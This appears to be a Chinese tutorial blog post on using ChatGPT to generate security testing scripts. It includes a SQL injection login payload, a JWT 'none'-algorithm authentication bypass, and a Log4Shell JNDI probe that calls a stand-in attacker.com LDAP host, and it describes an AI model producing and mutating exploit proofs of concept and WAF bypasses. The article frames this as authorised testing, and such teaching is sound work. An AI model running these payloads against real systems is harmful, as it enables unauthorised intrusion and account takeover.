使用 ChatGPT 辅助安全测试脚本生成

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在信息安全日益受到重视的今天，安全测试已不再是安全团队的“专属领域”，而是贯穿整个软件开发生命周期（SDLC）的关键环节。如何高效、准确、批量地生成安全测试脚本，覆盖多种攻击路径和漏洞类型，是安全自动化的核心挑战之一。

而近年来大语言模型（LLM）的兴起，尤其是 ChatGPT 等模型的广泛应用，为安全测试提供了全新范式。它不仅可以理解安全需求、自动生成测试脚本，还能协助分析漏洞信息、构造攻击载荷、输出测试报告，帮助测试人员实现从“手动安全测试”到“智能化安全测试”的飞跃。

本文将围绕“如何使用 ChatGPT 辅助安全测试脚本生成”这一主题，从原理机制、实战流程、脚本案例、安全边界和未来展望等角度深入剖析，助力企业和技术人员构建更强大的安全测试体系。

一、为什么选择 ChatGPT 辅助生成安全测试脚本？

1.1 自动化能力强

ChatGPT 基于 GPT-4 架构，具备极强的自然语言理解和代码生成能力，能根据漏洞描述或攻击场景生成格式化测试脚本，极大提升测试效率。

1.2 安全语境理解深

得益于在大规模安全语料（如 CVE 描述、漏洞利用脚本、渗透测试文档）上的训练，ChatGPT 能识别常见漏洞类型如 XSS、SQL 注入、RCE、目录遍历等，并能自动联想相应测试方式。

1.3 支持多种语言与平台

ChatGPT 支持 Python、Bash、PowerShell、JavaScript 等脚本语言，能适配多种测试环境，包括 Burp Suite、ZAP、Postman、Selenium、Metasploit、nmap 等工具生态。

二、ChatGPT 辅助生成安全测试脚本的典型场景

2.1 Web 安全测试脚本生成

示例：SQL 注入测试脚本生成

提示词（Prompt）：

我正在测试一个 PHP Web 表单的 SQL 注入漏洞，表单包含用户名和密码字段，请帮我生成一个基于 Python 的脚本，用于测试 ' OR '1'='1 类型的注入是否生效。

ChatGPT 生成的脚本：

import requests

url = "http://example.com/login.php"
payload = {
    "username": "' OR '1'='1",
    "password": "' OR '1'='1"
}

response = requests.post(url, data=payload)

if "Welcome" in response.text:
    print("[+] 可能存在SQL注入漏洞！")
else:
    print("[-] 测试失败，未发现注入。")

ChatGPT 还可以继续回答：

• 如何修改 User-Agent、Referer 等头部绕过 WAF；
• 如何加入延时注入测试（如 SLEEP(5)）；
• 如何集成到 unittest 或 pytest 中。

2.2 API 安全测试脚本生成

示例：JWT 令牌篡改测试

Prompt：

我想测试某个基于 JWT 的认证 API 是否容易被伪造，Authorization 头部使用 Bearer token，请帮我构造一个 JWT 无签名绕过脚本。

ChatGPT 返回：

import jwt
import requests

url = "http://api.example.com/protected"
# 注意：此为攻击模拟，仅用于测试环境
fake_token = jwt.encode({"user": "admin"}, key='', algorithm='none')

headers = {"Authorization": f"Bearer {fake_token}"}

response = requests.get(url, headers=headers)

if response.status_code == 200:
    print("[+] API 存在无签名 JWT 绕过漏洞！")
else:
    print("[-] 无法绕过认证。")

2.3 漏洞 PoC 自动生成与变异

ChatGPT 可以根据 CVE 编号、NVD 描述、GitHub 漏洞利用代码等信息，生成或变异 PoC 代码。

示例：Log4j CVE-2021-44228 的初步测试脚本

import requests

headers = {
    "User-Agent": "${jndi:ldap://attacker.com/a}"
}

response = requests.get("http://vulnerable-site.com", headers=headers)
print("Request sent. Monitor LDAP server for callback.")

ChatGPT 可辅助：

• 自动化生成不同 header 注入版本；
• 使用环境变量快速切换攻击域；
• 构建回归测试模块。

三、实战流程：集成 ChatGPT 生成脚本到测试工作流

3.1 流程设计

[需求分析]
   ↓
[漏洞识别（CVE或业务分析）]
   ↓
[Prompt构建]
   ↓
[脚本生成 by ChatGPT]
   ↓
[人工审查与修正]
   ↓
[自动化运行]
   ↓
[结果分析与报告]

3.2 提示词设计建议（Prompt Engineering）

四、安全边界与风险控制

4.1 注意生成代码的合法性

ChatGPT 在生成脚本时可能涉及攻击技术，仅限于授权范围内的测试，不得在生产环境或第三方平台使用。

4.2 脚本需审查和验证

虽然 ChatGPT 生成能力强，但其代码质量仍需人工安全验证，例如：

• 输入输出边界校验是否充分；
• 是否误用了危险函数（如 eval()、os.system()）；
• 是否可被误用为攻击脚本（攻击者可能也使用同样的模型）。

4.3 避免成为攻击自动化工具

企业应在使用时设置访问权限、使用审计、日志监控机制，防止敏感脚本被滥用或外泄。

五、从脚本生成到“AI 驱动的安全测试平台”

随着 Agent 技术、AutoGPT、Code Interpreter、DevSecOps 平台的发展，我们可预见：

• 智能脚本代理（Agent）：结合 ChatGPT、漏洞库（如 Vulners API）、目标识别模块，形成自动化测试 Agent。
• 语义漏洞扫描器：ChatGPT 理解 API 描述文档（如 Swagger/OpenAPI）后生成对应漏洞测试用例。
• 集成入 IDE 与 CI/CD 流程：在开发阶段就自动生成并运行安全测试，Shift Left 落地。

六、结语

ChatGPT 的能力远不止编写普通代码，在安全测试领域，它为漏洞验证、攻击模拟、API 安全测试、PoC 自动生成等提供了强有力的辅助。本文不仅介绍了使用 ChatGPT 生成安全测试脚本的实战方法，还指出了其安全边界与未来演进路径。

安全测试的智能化，是 DevSecOps 持续演进的关键一步。通过善用大模型，我们不仅能提升效率，更能强化安全保障体系，为构建可信的软件世界添砖加瓦。

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